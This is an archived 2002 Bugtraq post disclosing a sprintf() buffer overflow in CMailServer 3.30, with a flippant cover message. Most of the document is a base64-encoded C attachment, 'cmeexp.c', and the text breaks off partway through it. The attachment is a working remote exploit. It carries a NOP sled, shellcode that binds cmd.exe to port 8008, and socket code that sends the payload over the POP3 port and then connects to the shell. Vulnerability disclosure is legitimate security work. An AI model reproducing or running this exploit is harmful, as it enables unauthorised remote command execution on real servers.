 | ||||||
| << Previous | INDEX | Search | src | Set bookmark | Go to bookmark | Next >> |
| ||||||
| |||||||||||||||||||||
Date: Tue, 21 May 2002 14:49:54 -0700 From: 2c79cbe14ac7d0b8472d3f129fa1df55@hushmail.com To: bugtraq@securityfocus.com Subject: YoungZSoft CMailServer overflow, PATCH + WAREZ!@#! Cc: support@youngzsoft.com --Hush_boundary-3ceac1024cb46 Content-type: text/plain -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 CMailServer 3.30 uses sprintf() without any previous bounds checking while testing for the presence of the passed USER argument's home directory within 'mail'.. sprintf(%s\\mail\\%s, CMail path ptr, USER arg ptr) you know how the story goes, we can overwrite some serious EIP action.. see attached exploit.. a patch has also been included to prevent ownaging 2c79cbe14ac7d0b8472d3f129fa1df55, the original pimp Hush provide the worlds most secure, easy to use online applications - which solution is right for you? HushMail Secure Email http://www.hushmail.com/ HushDrive Secure Online Storage http://www.hushmail.com/hushdrive/ Hush Business - security for your Business http://www.hush.com/ Hush Enterprise - Secure Solutions for your Enterprise http://www.hush.com/ Looking for a good deal on a domain name? http://www.hush.com/partners/offers.cgi?id=domainpeople -----BEGIN PGP SIGNATURE----- Version: Hush 2.1 Note: This signature can be verified at https://www.hushtools.com wnUEARECADUFAjzqwbEuHDJjNzljYmUxNGFjN2QwYjg0NzJkM2YxMjlmYTFkZjU1QGh1 c2htYWlsLmNvbQAKCRA2dKC3iMz7vVEnAJ4ojhjPxcBQ2BZGJUExzUgXxz8qMACeNX1n J1JwD3rVhGZwCz3ESUT+B2g= =Xrhy -----END PGP SIGNATURE----- --Hush_boundary-3ceac1024cb46 Content-type: application/octet-stream; name="cmeexp.c" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="cmeexp.c" LyoNCiAgICAgICAgY21lZXhwLmMNCiAgICAgICAgTWF5IDIwLCAyMDAyDQoNCiAgICAgICAgQ01h aWxTZXJ2ZXIgMy4zMCB1c2VzIHNwcmludGYoKSB3aXRob3V0IGFueSBwcmV2aW91cw0KICAgICAg ICBib3VuZHMgY2hlY2tpbmcgd2hpbGUgdGVzdGluZyBmb3IgdGhlIHByZXNlbmNlIG9mIHRoZSAN CiAgICAgICAgcGFzc2VkIFVTRVIgYXJndW1lbnQncyBob21lIGRpcmVjdG9yeSB3aXRoaW4gJ21h aWwnLi4NCg0KICAgICAgICBzcHJpbnRmKCVzXFxtYWlsXFwlcywgQ01haWwgcGF0aCBwdHIsIFVT RVIgYXJnIHB0cikNCg0KICAgICAgICB5b3Uga25vdyBob3cgdGhlIHN0b3J5IGdvZXMsIHdlIGNh biBvdmVyd3JpdGUgc29tZQ0KICAgICAgICBzZXJpb3VzIEVJUCBhY3Rpb24uLg0KDQogICAgICAg IFVTRVIgPDUxMCBieXRlcz48RUlQPg0KDQogICAgICAgIHRoZSBwYXlsb2FkIGlzIG9uIHRoZSBy aWdodCBhcyBJIGRpZG4ndCBib3RoZXIgZmluZGluZw0KICAgICAgICBvciBtYWtpbmcgb25lIGZp dCBvbiB0aGUgbGVmdA0KDQoNCglbeHhAeHh4eCBjbWFpbF0kIC4vY21lZXhwIHRoZS5tYW4NCglD TWFpbFNlcnZlciAzLjMwIHJlbW90ZSAncm9vdCcgZXhwbG9pdCAoMDUvMjAvMjAwMikNCgkyYzc5 Y2JlMTRhYzdkMGI4NDcyZDNmMTI5ZmExZGY1NUBodXNobWFpbC5jb20NCgkNCgkNCgljb25uZWN0 aW5nLi4uDQoJDQoJY29ubmVjdGVkLi4gc2VuZGluZyBjb2RlDQoJDQoJY29kZSBkdW1wZWQuLg0K CQ0KCWNvbm5lY3RpbmcgdG8gcG9ydCA4MDA4Li4uDQoJc3VjY2VzcyEgaXpuMHJ3M25lZCENCgkN CglNaWNyb3NvZnQgV2luZG93cyAyMDAwIFtWZXJzaW9uIDUuMDAuMjE5NV0NCgkoQykgQ29weXJp Z2h0IDE5ODUtMjAwMCBNaWNyb3NvZnQgQ29ycC4NCgkNCglFOlxQcm9ncmFtIEZpbGVzXENNYWls U2VydmVyPmRhdGUNCglUaGUgY3VycmVudCBkYXRlIGlzOiBNb24gMjAvMDUvMjAwMiANCglFbnRl ciB0aGUgbmV3IGRhdGU6IChkZC1tbS15eSkNCg0KKi8NCg0KI2luY2x1ZGUgPHN0ZGlvLmg+DQoj aW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8c3lz L3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxhcnBhL2luZXQu aD4NCiNpbmNsdWRlIDxuZXRkYi5oPg0KI2luY2x1ZGUgPHN5cy9lcnJuby5oPg0KDQovKiBXaW4y ayBTUDIgKyBhbGwgaG90Zml4ZXMgdXAgdW50aWwgTWF5IDIwdGggKi8NCi8qIHlvdSd2ZSBnb3Qg b25lIHNob3QgYXQgdGhpcyBhcyBjbWFpbCBpcyAgICAqLw0KLyogZ29pbmcgZG93biBpZiB5b3Ug bWlzcy4uICAgICAgICAgICAgICAgICAgICovDQoNCi8qIHRoaXMgaXMgdGhlIG1vc3QgY29uc2lz dGFudCBFSVAgaGl0IG9uIG15ICAqLw0KLyogdGVzdCBtYWNoaW5lIGFsdGhvdWdoIGZyZXNobHkg Ym9vdGVkIHNoZSAgICovDQovKiB0ZW5kZWQgdG8gYmUgIlx4NmRceGE3XHhkYlx4MDIiCSAgICAg ICovDQoNCi8qIHRyeSBpbiBvZmZzZXRzIG9mIDB4MTAwMDAwIGlmIHlvdSBtdXN0Li4gICAqLw0K DQojZGVmaW5lIEVJUCAiXHg2ZFx4YTdceDBlXHgwMyINCg0KLyogZXZlcnl0aGluZyBhbGwgcm9s bGVkIGludG8gb25lLi4gYmluZCdzIGNtZC5leGUgICovDQovKiB0byBwb3J0IDgwMDguLiB0aGlz IGlzIGEgbW9kaWZpZWQgdmVyc2lvbiBvZiB0aGUgKi8NCi8qIHNoZWxsY29kZSBjcmVhdGVkIGJ5 IHxaYW4ncyBleGNlbGxlbnQgZ2VuZXJhdG9yICAqLw0KDQpjaGFyIHNoZWxsW10gPQ0KIlx4NTVc eDUzXHg0NVx4NTJceDIwIg0KIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4 OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5 MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkw XHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBc eDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4 OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5 MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4OTBceDkw XHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4OTBc eDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4 OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5 MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkw XHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBc eDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4 OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0K Ilx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkw Ig0KIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBc eDkwIg0KIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4 OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5 MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkw XHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBc eDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4 OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5 MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkw XHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBc eDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4 OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5 MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4OTBceDkw XHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4OTBc eDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4 OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5 MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkw XHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBc eDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4 OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0K Ilx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkw Ig0KIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBc eDkwIg0KIlx4OTBceDkwXHg4M1x4ZWVceDdmXHg4M1x4ZWVceDdmXHg4M1x4ZWVceDdmXHg4M1x4 ZWVceDdmIg0KIlx4ODNceGVlXHg3Zlx4ODNceGVlXHg3Zlx4ODNceGVlXHg3Zlx4ODNceGVlXHg3 Zlx4ODNceGVlIg0KIlx4N2ZceDgzXHhlZVx4NGNceGZmXHhkNiJFSVAiXHg1NVx4OGJceGVjXHg2 OFx4NWVceDU2XHhjMyINCiJceDkwXHg1NFx4NTlceGZmXHhkMVx4NThceDMzXHhjOVx4YjFceDFj XHg5MFx4OTBceDkwXHg5MCINCiJceDAzXHhmMVx4NTZceDVmXHgzM1x4YzlceDY2XHhiOVx4OTVc eDA0XHg5MFx4OTBceDkwXHhhYyINCiJceDM0XHgxM1x4YWFceGUyXHhmYVx4ZmJceDEzXHgxM1x4 MTNceDEzXHg0ZVx4OTJceGZlXHhjYSINCiJceDMyXHg1M1x4MTNceDllXHhhNlx4ZTFceDM3XHg1 M1x4MTNceDllXHhhZVx4ZTlceDM3XHg1MyINCiJceDEzXHg3OVx4MTRceDgzXHg4M1x4ODNceDgz XHg0YVx4ZmJceGMxXHgxMVx4MTNceDEzXHg5ZSINCiJceGE2XHgzOVx4MzZceDUzXHgxM1x4OWVc eGFlXHgyMFx4MzZceDUzXHgxM1x4NzlceDE5XHg4MyINCiJceDgzXHg4M1x4ODNceDRhXHhmYlx4 YTlceDExXHgxM1x4MTNceDc5XHgxM1x4OWVceGE2XHhjYSINCiJceDM2XHg1M1x4MTNceDQ1XHg5 ZVx4YTZceGY2XHgzNlx4NTNceDEzXHg0NVx4OWVceGE2XHhmYSINCiJceDM2XHg1M1x4MTNceDQ1 XHhlY1x4ODZceDIwXHgzNlx4NTNceDEzXHg3OVx4MTNceDllXHhhNiINCiJceGNhXHgzNlx4NTNc eDEzXHg0NVx4OWVceGE2XHhmZVx4MzZceDUzXHgxM1x4NDVceDllXHhhNiINCiJceGUyXHgzNlx4 NTNceDEzXHg0NVx4ZWNceDg2XHgyMFx4MzZceDUzXHgxM1x4ZDRceDk2XHhlNiINCiJceDM2XHg1 M1x4MTNceDU3XHgxM1x4MTNceDEzXHg5ZVx4YTZceGU2XHgzNlx4NTNceDEzXHg0NSINCiJceGVj XHg4Nlx4MjRceDM2XHg1M1x4MTNceDllXHhhNlx4M2VceDM1XHg1M1x4MTNceGJlXHg0MyINCiJc eGVjXHg4Nlx4NDBceDM2XHg1M1x4MTNceDllXHhhNlx4MjJceDM1XHg1M1x4MTNceGJlXHg0MyIN CiJceGVjXHg4Nlx4NDBceDM2XHg1M1x4MTNceDllXHhhNlx4ZTJceDM2XHg1M1x4MTNceDllXHhh ZSINCiJceDNlXHgzNVx4NTNceDEzXHhiNlx4OWVceGE2XHhmNlx4MzZceDUzXHgxM1x4YmVceDll XHhhZSINCiJceDIyXHgzNVx4NTNceDEzXHhiOFx4OWVceGFlXHgyNlx4MzVceDUzXHgxM1x4Yjhc eGQ0XHg5NiINCiJceDM2XHgzNVx4NTNceDEzXHgxM1x4MTNceDEzXHgxM1x4ZDRceDk2XHgzMlx4 MzVceDUzXHgxMyINCiJceDEyXHgxMlx4MTNceDEzXHg5ZVx4YTZceDJhXHgzNVx4NTNceDEzXHg0 NVx4OWVceGE2XHhlNiINCiJceDM2XHg1M1x4MTNceDQ1XHg3OVx4MTNceDc5XHgxM1x4NzlceDAz XHg3OVx4MTJceDc5XHgxMyINCiJceDc5XHgxM1x4OWVceGE2XHg1YVx4MzVceDUzXHgxM1x4NDVc eDc5XHgxM1x4ZWNceDg2XHgyOCINCiJceDM2XHg1M1x4MTNceDdiXHgxM1x4MzNceDEzXHgxM1x4 ODNceDdiXHgxM1x4MTFceDEzXHgxMyINCiJceGVjXHg4Nlx4NTBceDM2XHg1M1x4MTNceDlhXHg5 Nlx4NDJceDM1XHg1M1x4MTNceDIwXHhkMyINCiJceDQzXHg1M1x4NDNceDUzXHg0M1x4ZWNceDg2 XHhlOVx4MzdceDUzXHgxM1x4NDNceDQ4XHg3OSINCiJceDAzXHg5ZVx4YTZceGRhXHgzNlx4NTNc eDEzXHg0NVx4NDBceGVjXHg4Nlx4ZWRceDM3XHg1MyINCiJceDEzXHg3OVx4MTBceDQwXHhlY1x4 ODZceDExXHgzNlx4NTNceDEzXHg5ZVx4YTZceDQ2XHgzNSINCiJceDUzXHgxM1x4NDVceDllXHhh Nlx4ZGFceDM2XHg1M1x4MTNceDQ1XHg0MFx4ZWNceDg2XHgxNSINCiJceDM2XHg1M1x4MTNceDll XHhhZVx4NGFceDM1XHg1M1x4MTNceGI4XHgyMFx4ZDNceDQzXHg5ZSINCiJceGFlXHg3Nlx4MzVc eDUzXHgxM1x4NDRceDQzXHg0M1x4NDNceDllXHhhNlx4ZmFceDM2XHg1MyINCiJceDEzXHhiZVx4 NDNceGVjXHg4Nlx4MmNceDM2XHg1M1x4MTNceDc5XHgyM1x4ZWNceDg2XHg1YyINCiJceDM2XHg1 M1x4MTNceGY4XHg1ZVx4ODNceDgzXHg4M1x4MjBceGQzXHg0M1x4OWVceGFlXHg3NiINCiJceDM1 XHg1M1x4MTNceDQ0XHg0M1x4NDNceDQzXHg5ZVx4YTZceGZhXHgzNlx4NTNceDEzXHhiZSINCiJc eDQzXHhlY1x4ODZceDJjXHgzNlx4NTNceDEzXHg3OVx4NDNceGVjXHg4Nlx4NWNceDM2XHg1MyIN CiJceDEzXHg5MFx4YWVceDc2XHgzNVx4NTNceDEzXHgxMVx4MWNceDkxXHgwNFx4MTJceDEzXHgx MyINCiJceDkyXHhhZVx4NzZceDM1XHg1M1x4MTNceDEyXHgzM1x4MTNceDEzXHg2MVx4MWRceDgz XHg4MyINCiJceDgzXHg4M1x4ZDRceDk2XHg3Nlx4MzVceDUzXHgxM1x4MTNceDMzXHgxM1x4MTNc eDc5XHgxMyINCiJceDk4XHg5Nlx4NzZceDM1XHg1M1x4MTNceDllXHhhZVx4NzZceDM1XHg1M1x4 MTNceDQ0XHg0MyINCiJceDk4XHg5Nlx4NDJceDM1XHg1M1x4MTNceDQzXHg5ZVx4YTZceGZhXHgz Nlx4NTNceDEzXHhiZSINCiJceDQzXHhlY1x4ODZceDU0XHgzNlx4NTNceDEzXHg3OVx4NDNceGVj XHg4Nlx4NWNceDM2XHg1MyINCiJceDEzXHg5OFx4OTZceDc2XHgzNVx4NTNceDEzXHg3OVx4MTNc eDQzXHg5ZVx4YTZceDQyXHgzNSINCiJceDUzXHgxM1x4YmVceDQzXHg5ZVx4YTZceDRhXHgzNVx4 NTNceDEzXHhiZVx4NDNceGVjXHg4NiINCiJceDE5XHgzNlx4NTNceDEzXHg3OVx4MTNceDllXHhh ZVx4NzZceDM1XHg1M1x4MTNceDQ0XHg3OSINCiJceDEzXHg3OVx4MTNceDc5XHgxM1x4OWVceGE2 XHhmYVx4MzZceDUzXHgxM1x4YmVceDQzXHhlYyINCiJceDg2XHgyY1x4MzZceDUzXHgxM1x4Nzlc eDQzXHhlY1x4ODZceDVjXHgzNlx4NTNceDEzXHgyMCINCiJceGRhXHgyYVx4OWVceDc2XHgzNVx4 NTNceDEzXHgxY1x4OTRceDc0XHhlY1x4ZWNceGVjXHg3OSINCiJceDEzXHg3Ylx4MTNceDMzXHgx M1x4MTNceDgzXHg5ZVx4YTZceDQyXHgzNVx4NTNceDEzXHhiZSINCiJceDQzXHg5ZVx4YTZceDRh XHgzNVx4NTNceDEzXHhiZVx4NDNceGVjXHg4Nlx4MWRceDM2XHg1MyINCiJceDEzXHg5YVx4OTZc eDcyXHgzNVx4NTNceDEzXHg3OVx4MTNceDllXHhhZVx4NzZceDM1XHg1MyINCiJceDEzXHg0NFx4 NDNceDllXHhhNlx4NDJceDM1XHg1M1x4MTNceGJlXHg0M1x4OWVceGE2XHhmZSINCiJceDM2XHg1 M1x4MTNceGJlXHg0M1x4ZWNceDg2XHg1OFx4MzZceDUzXHgxM1x4NzlceDQzXHhlYyINCiJceDg2 XHg1Y1x4MzZceDUzXHgxM1x4NzlceDEzXHg5OFx4OTZceDcyXHgzNVx4NTNceDEzXHg5ZSINCiJc eGFlXHg3Nlx4MzVceDUzXHgxM1x4NDRceDQzXHg5OFx4OTZceDQyXHgzNVx4NTNceDEzXHg0MyIN CiJceDllXHhhNlx4ZmFceDM2XHg1M1x4MTNceGJlXHg0M1x4ZWNceDg2XHg1NFx4MzZceDUzXHgx MyINCiJceDc5XHg0M1x4ZWNceDg2XHg1Y1x4MzZceDUzXHgxM1x4ZmFceGFhXHhlZFx4ZWNceGVj XHg5ZSINCiJceGE2XHg0YVx4MzVceDUzXHgxM1x4YmVceDQzXHhlY1x4ODZceDAxXHgzNlx4NTNc eDEzXHg5ZSINCiJceGE2XHg0ZVx4MzVceDUzXHgxM1x4YmVceDQzXHhlY1x4ODZceDAxXHgzNlx4 NTNceDEzXHg3OSINCiJceDEzXHhlY1x4ODZceDQ0XHgzNlx4NTNceDEzXHg0Mlx4NDVceDdiXHhk M1x4ZjFceDU2XHgxMyINCiJceDgzXHg0OVx4ZWNceDAxXHg0M1x4NDhceDRhXHg0NFx4NGRceDQy XHg0NVx4NDBceDdiXHhkNyINCiJceGYxXHg1Nlx4MTNceDgzXHg0OVx4ZWNceDAxXHg0M1x4YmZc eDk3XHhkM1x4NjZceGU4XHg0YiINCiJceGI4XHg0YVx4ZjFceGZhXHhkMFx4NDRceDQwXHg1Y1x4 NTBceDU4XHgyMFx4MjFceDEzXHg2MCINCiJceDdjXHg3MFx4NzhceDc2XHg2N1x4MTNceDcxXHg3 YVx4N2RceDc3XHgxM1x4N2ZceDdhXHg2MCINCiJceDY3XHg3Nlx4N2RceDEzXHg3Mlx4NzBceDcw XHg3Nlx4NjNceDY3XHgxM1x4NjBceDc2XHg3ZCINCiJceDc3XHgxM1x4NjFceDc2XHg3MFx4NjVc eDEzXHg3MFx4N2ZceDdjXHg2MFx4NzZceDYwXHg3YyINCiJceDcwXHg3OFx4NzZceDY3XHgxM1x4 NThceDU2XHg0MVx4NWRceDU2XHg1Zlx4MjBceDIxXHgxMyINCiJceDUwXHg2MVx4NzZceDcyXHg2 N1x4NzZceDQzXHg3YVx4NjNceDc2XHgxM1x4NTRceDc2XHg2NyINCiJceDQwXHg2N1x4NzJceDYx XHg2N1x4NjZceDYzXHg1YVx4N2RceDc1XHg3Y1x4NTJceDEzXHg1MCINCiJceDYxXHg3Nlx4NzJc eDY3XHg3Nlx4NDNceDYxXHg3Y1x4NzBceDc2XHg2MFx4NjBceDUyXHgxMyINCiJceDQzXHg3Nlx4 NzZceDc4XHg1ZFx4NzJceDdlXHg3Nlx4NzdceDQzXHg3YVx4NjNceDc2XHgxMyINCiJceDU0XHg3 Zlx4N2NceDcxXHg3Mlx4N2ZceDUyXHg3Zlx4N2ZceDdjXHg3MFx4MTNceDQxXHg3NiINCiJceDcy XHg3N1x4NTVceDdhXHg3Zlx4NzZceDEzXHg0NFx4NjFceDdhXHg2N1x4NzZceDU1XHg3YSINCiJc eDdmXHg3Nlx4MTNceDQwXHg3Zlx4NzZceDc2XHg2M1x4MTNceDUwXHg3Zlx4N2NceDYwXHg3NiIN CiJceDViXHg3Mlx4N2RceDc3XHg3Zlx4NzZceDEzXHg1Nlx4NmJceDdhXHg2N1x4NDNceDYxXHg3 YyINCiJceDcwXHg3Nlx4NjBceDYwXHgxM1x4NTBceDdjXHg3N1x4NzZceDc3XHgzM1x4NzFceDZh XHgzMyINCiJceDZmXHg0OVx4NzJceDdkXHgzM1x4MmZceDdhXHg2OVx4NzJceDdkXHg1M1x4Nzdc eDc2XHg3NiINCiJceDYzXHg2OVx4N2NceDdkXHg3Nlx4M2RceDdjXHg2MVx4NzRceDJkXHgxMVx4 MTNceDBjXHg1YiINCiJceDEzXHgxM1x4MTNceDEzXHgxM1x4MTNceDEzXHgxM1x4MTNceDEzXHgx M1x4MTNceDFmXHgxMyINCiJceDEzXHgxM1x4MTNceDEzXHgxM1x4MTNceDEyXHgxM1x4MTNceDEz XHgxM1x4MTNceDEzXHgxMyINCiJceDEzXHgxM1x4MTNceDEzXHgxM1x4MTNceDEzXHgxM1x4MTNc eDEzXHgxM1x4MTNceDEzXHgxMyINCiJceDEzXHgxM1x4MTNceDEzXHgxM1x4MTNceDEzXHgxM1x4 MTNceDEzXHgxM1x4MTNceDEzXHgxMyINCiJceDEzXHgxM1x4MTNceDEzXHgxM1x4MTNceDEzXHgx M1x4MTNceDEzXHgxM1x4MTNceDEzXHgxMyINCiJceDEzXHgxM1x4MTNceDEzXHgxM1x4MTNceDEz XHgxM1x4MTNceDEzXHgxM1x4MTNceDEzXHgxMyINCiJceDEzXHgxM1x4MTNceDEzXHgxM1x4MTNc eDEzXHgxM1x4MTNceDEzXHgxM1x4MTNceDEzXHgxMyINCiJceDEzXHgxM1x4MTNceDEzXHgxM1x4 MTNceDEzXHgxM1x4MTNceDEzXHgxM1x4MTNceDEzXHgxMyINCiJceDEzXHgxM1x4MTNceDEzXHgx M1x4MTNceDEzXHgxM1x4MTNceDEzXHgxM1x4MTNceDUwXHg1ZSINCiJceDU3XHgzZFx4NTZceDRi XHg1Nlx4MTNceDEzXHgxM1x4MTNceDEzXHgwM1x4MTNceDEzXHgxMyINCiJceDEzXHgxM1x4MTNc eDEzXHgxM1x4MTNceDEzXHgxM1x4MTNceDEzXHgxM1x4MTNceDEzXHgxMyINCiJceDEzXHgxM1x4 MWFceDFhXHgxYVx4MWFceDFhXHg5MFx4OTBceDkwXHgwZFx4MGEiOw0KDQptYWluKGNoYXIgYXJn YywgY2hhciAqKmFyZ3Ypew0KICAgICAgICBpbnQgZmQ7DQogICAgICAgIGludCBidWZzaXplID0g MTAyNDsNCiAgICAgICAgaW50IGJ1ZmZlciA9IG1hbGxvYyhidWZzaXplKTsNCiAgICAgICAgc3Ry dWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICAgICAgc3RydWN0IGhvc3RlbnQgKmhlOw0KICAgICAg ICBzdHJ1Y3QgaW5fYWRkciBpbjsNCg0KICAgICAgICBwcmludGYoIkNNYWlsU2VydmVyIDMuMzAg cmVtb3RlICdyb290JyBleHBsb2l0ICgwNS8yMC8yMDAyKVxuIik7DQogICAgICAgIHByaW50Zigi MmM3OWNiZTE0YWM3ZDBiODQ3MmQzZjEyOWZhMWRmNTVAaHVzaG1haWwuY29tXG5cblxuIik7DQoN CiAgICAgICAgaWYgKGFyZ2MgPCAyKXsNCiAgICAgICAgICAgICAgICBwcmludGYoIlVzYWdlOiA8 aG9zdG5hbWU+XG4iKTsNCiAgICAgICAgICAgICAgICBleGl0KC0xKTsNCiAgICAgICAgfQ0KDQog ICAgICAgIGlmKChmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1Ap KSA8IDApe3BlcnJvcigic29ja2V0IGVycm9yIik7ZXhpdCgtMSk7fQ0KDQogICAgICAgIGlmICgo aGUgPSBnZXRob3N0YnluYW1lKGFyZ3ZbMV0pKSAhPSBOVUxMKXttZW1jcHkgKCZpbiwgaGUtPmhf YWRkciwgaGUtPmhfbGVuZ3RoKTt9DQogICAgICAgIGVsc2UNCiAgICAgICAgaWYgKChpbmV0X2F0 b24oYXJndlsxXSwgJmluKSkgPCAwKXtwcmludGYoInVuYWJsZSB0byByZXNvbHZlIGhvc3QiKTtl eGl0KC0xKTt9DQoNCiAgICAgICAgc2luLnNpbl9mYW1pbHkgPSBBRl9JTkVUOw0KICAgICAgICBz aW4uc2luX2FkZHIuc19hZGRyID0gaW5ldF9hZGRyKGluZXRfbnRvYShpbikpOw0KICAgICAgICBz aW4uc2luX3BvcnQgPSBodG9ucygxMTApOw0KIA0KICAgICAgICBwcmludGYoImNvbm5lY3Rpbmcu Li5cbiIpOw0KICAgICAgICBpZihjb25uZWN0KGZkLCAoc3RydWN0IHNvY2thZGRyICopJnNpbiwg c2l6ZW9mKHNpbikpIDwgMCl7cGVycm9yKCJjb25uZWN0aW9uIGVycm9yIik7ZXhpdCgtMSk7fQ0K IA0KICAgICAgICBwcmludGYoIlxuY29ubmVjdGVkLi4gc2VuZGluZyBjb2RlXG5cbiIpOw0KICAg ICAgICBpZih3cml0ZShmZCwgc2hlbGwsIHN0cmxlbihzaGVsbCkpIDwgc3RybGVuKHNoZWxsKSl7 cGVycm9yKCJ3cml0ZSBlcnJvciIpO2V4aXQoLTEpO30NCiAgICAgICAgcHJpbnRmKCJjb2RlIGR1 bXBlZC4uXG5cbiIpOw0KDQogICAgICAgIGNsb3NlKGZkKTsNCg0KICAgICAgICBpZigoZmQgPSBz b2NrZXQoQUZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPCAwKXtwZXJyb3IoInNv Y2tldCBlcnJvciIpO2V4aXQoLTEpO30NCg0KICAgICAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lO RVQ7DQogICAgICAgIHNpbi5zaW5fYWRkci5zX2FkZHIgPSBpbmV0X2FkZHIoYXJndlsxXSk7DQog ICAgICAgIHNpbi5zaW5fcG9ydCA9IGh0b25zKDgwMDgpOw0KDQogICAgICAgIHByaW50ZigiY29u bmVjdGluZyB0byB0Y3AgcG9ydCA4MDA4Li4uXG4iKTsNCiAgICAgICAgc2xlZXAoMSk7DQogICAg ICAgIGlmKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikmc2luLCBzaXplb2Yoc2luKSkg PCAwKXtwcmludGYoImV4cGxvaXQgZmFpbGVkLi4gYWRqdXN0IEVJUD9cblxuIik7ZXhpdCgtMSk7 fQ0KICAgICAgICBwcmludGYoInN1Y2Nlc3MhIGl6bjBydzNuZWQhXG5cbiIpOw0KDQogICAgICAg IHdoaWxlKDEpIHsNCiAgICAgICAgICAgICAgICBmZF9zZXQgaW5wdXQ7DQoNCiAgICAgICAgICAg ICAgICBGRF9TRVQoMCwmaW5wdXQpOw0KICAgICAgICAgICAgICAgIEZEX1NFVChmZCwmaW5wdXQp Ow0KICAgICAgICAgICAgICAgIGlmKChzZWxlY3QoZmQrMSwmaW5wdXQsTlVMTCxOVUxMLE5VTEwp KTwwKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZihlcnJubz09RUlOVFIpIGNvbnRpbnVl 